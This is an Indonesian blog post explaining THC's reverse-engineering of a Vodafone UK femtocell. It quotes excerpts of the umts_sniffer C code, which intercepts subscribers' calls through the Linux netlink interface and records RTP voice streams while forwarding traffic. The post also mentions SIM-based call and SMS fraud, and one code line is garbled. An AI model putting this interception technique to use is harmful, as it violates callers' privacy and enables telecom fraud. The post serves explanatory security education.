Vodafone Femtocell Product was Hacked

Baru-baru ini THC merilis hasil hacking mereka terhadap femtocell milik vodafone UK. Link beritanya bisa dilihat dari sini dan informasi teknikal bisa dibaca dari sini. Saya sempat posting info tersebut pada salah satu milis security di indonesia, dan ada rekan yang bertanya tentang aksi hacking tersebut. Untuk beberapa orang awam khususnya awam dunia telekomunikasi mungkin agak bingung dan kurang jelas dengan hacking yang dimaksud. Saya akan coba bahas sedikit disini.

Femtocell merupakan teknologi telekomunikasi dimana pengguna network suatu operator dapat menggunakan fasilitas seperti telepon dan sms didaerah yang tidak ada sinyal dari operator tersebut namun ada koneksi internet. Pengguna network operator tersebut menggunakan simcard milik operator, dan ‘nyantol’ ke Femtocell yang seakan-akan berfungsi sebagai BTS dari operator tersebut. Untuk case yang kita bahas saat ini adalah network milik operator Vodafone UK. Femtocell akan menjadi media untuk melakukan otentikasi simcard subscriber (dari handphone pelanggan yang nyantol ke Femtocell) dengan core network Vodafone UK.

Jika ada media yang menyatakan bahwa THC melakukan hacking terhadap teknologi UMTS maka tidak sepenuhnya benar, karena yang dihack adalah produk Femtocell. Ini ibaratnya bukan berarti menyadap komunikasi secara radio dari teknologi UMTS, namun bisa di ibaratkan penetrasi kedalam mesin RNC suatu operator (untuk teknologi UMTS/3G digunakan istilah NodeB untuk BTS, dan RNC untuk BSC). Dalam dunia telekomunikasi, ciphering dilakukan dalam ruang lingkup BSS (untuk melindungi komunikasi radio antara handphone dengan radio network operator). Ketika data lewat dari RNC / BSC maka tidak terdapat lagi ciphering pada paket data menuju core network.

Produk Femtocell milik Vodafone UK ini di-reverse engineer oleh THC, seperti layaknya melakukan jailbreak pada iPhone. Dan tentu saja yang tersisa untuk melakukan traffic intercept adalah subverting fungsi Femtocell untuk bukan saja forwarding paket data komunikasi antara handphone subscriber, namun juga mengambil data tersebut untuk kemudian disimpan. Dalam dunia IT security, aktivitas seperti ini banyak dilakukan untuk fraud komunikasi kartu kredit dan sangat umum.

The Linux Kernel netlink interface is a great way of intercepting the network traffic that goes through ipsec. This interface allows a userland process to instruct the kernel to first pass the network traffic to the userland process. It is then up to the userland process to modify, discard or reinject the packet back into the kernel network stack.

The source code above demonstrate how the netlink interface can be used to intercept any traffic and record the RTP voice stream to a file in AMR12.2 format.

THC memanfaatkan netlink interface dari kernel linux untuk intercept network traffic yang menggunakan ipsec, dan kemudian me-record paket stream RTP dan menyimpan nya kedalam format AMR12.2. Untuk proses ini THC mengimplementasikan program sniffer yang disebut umts_sniffer.

Jika kita lihat source code dari umts_sniffer tersebut makan akan terlihat jelas proses intercept nya,


void sniff(void)
...
for(;;) {
ret = recvfrom(netlink_socket, buf1, sizeof buf1, 0, (struct sockaddr *)&addr, &fromlen);
if (ret nlmsg_pid, hdr_in->nlmsg_seq, hdr_in->nlmsg_flags, hdr_in->nlmsg_len);
if (hdr_in->nlmsg_type == NLMSG_ERROR)
{
struct nlmsgerr *pkt_err = NLMSG_DATA((struct nlmsghdr *)buf1);
if (pkt_err->error != 0)
{
ERREXIT("error %d: %s\n", pkt_err->error, strerror(0 - pkt_err->error));

}
}
DEBUGF("ret %d, id %lu, payload %d, '%s', '%s'\n", ret, pkt_data->packet_id, pkt_data->data_len, pkt_data->indev_name, pkt_data->outdev_name);
DEBUGF("%s\n", bin2hexstr(pkt_data->payload, pkt_data->data_len));

handle_data(pkt_data->payload, pkt_data->data_len);

Dilakukan proses extraksi untuk mendapatkan data yang ingin di intercept (mis: data voice), yang selanjutnya akan dihandle oleh fungsi handle_data()

Pada fungsi sniffer() tersebut juga data yang di intercept setelah di ambil akan terus di forward ke core network operator agar call subscriber dapat terus berlangsung,


/*for the example just forward all packets*/
nl_header = (struct nlmsghdr *)buf2;
nl_header->nlmsg_type=IPQM_VERDICT;
nl_header->nlmsg_len=NLMSG_LENGTH(sizeof(struct ipq_verdict_msg));
nl_header->nlmsg_flags=(NLM_F_REQUEST);/*this is a request, dont ask for an answer*/
nl_header->nlmsg_pid=getpid();
nl_header->nlmsg_seq=seq++;/*arbitrary unique value to allow response correlation*/
ver_data=(struct ipq_verdict_msg *)NLMSG_DATA(nl_header);
ver_data->value= NF_ACCEPT;
ver_data->id=pkt_data->packet_id;
ver_data->data_len = pkt_data->data_len;
/* BO here */
memcpy(ver_data->payload, pkt_data->payload, ver_data->data_len);
if(sendto(netlink_socket,(void *)nl_header,nl_header->nlmsg_len,0,(struct sockaddr *)&addr, sizeof (struct sockaddr_nl)) < 0)
{
perror("unable to send mode message");
exit(0);
}

Kita akan lihat fungsi handle_data(),


static void
handle_data(uint8_t *data, int len)
{
uint16_t ip_options;
uint16_t ip_len;
struct ip *ip = (struct ip *)data;
int ret;

ret = vrfy_ip(ip, len, &ip_options);
if (ret != 0)
return;

ip_len = 20 + ip_options;

/* UDP */
if (ip->ip_p == 0x11)
{
if (len - ip_len == 8 + 47)
{
handle_rtp(ip, data + ip_len + 8, len - ip_len - 8);
}
}

/* Determine what type of message it is:
* - RANAP
* - RTP
*/

}

Apabila data tersebut berupa data signaling (RANAP) maka tidak akan di proses, namun jika data voice (RTP) akan dilanjutkan untuk diproses oleh fungsi handle_rtp(). Selanjutnya tentu saja seperti yang sudah di deskripsikan, paket RTP akan di simpan dalam format AMR12.2.

Hasilnya dapat di buka dan didengarkan menggunakan aplikasi yang sesuai.

Selain dapat digunakan untuk intercept traffic call, Femtocell juga dapat digunakan untuk fraud yaitu menggunakan informasi simcard subscriber lain untuk outgoing call ataupun kirim sms. Termasuk jenis permainan lain pun dapat dilakukan.

Semoga bermanfaat terutama untuk rekan-rekan yang buta telekomunikasi. Tulisan diataspun berdasarkan pemahaman saya dari membaca wiki THC dan background telekomunikasi serta security selama ini, belum langsung melihat atau mencoba karena tidak memiliki perangkat Femtocell yang dimaksud. Sekiranya ada kekeliruan tolong di informasikan agar tulisan diatas dapat dimodifikasi menjadi lebih baik.

Cheers.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s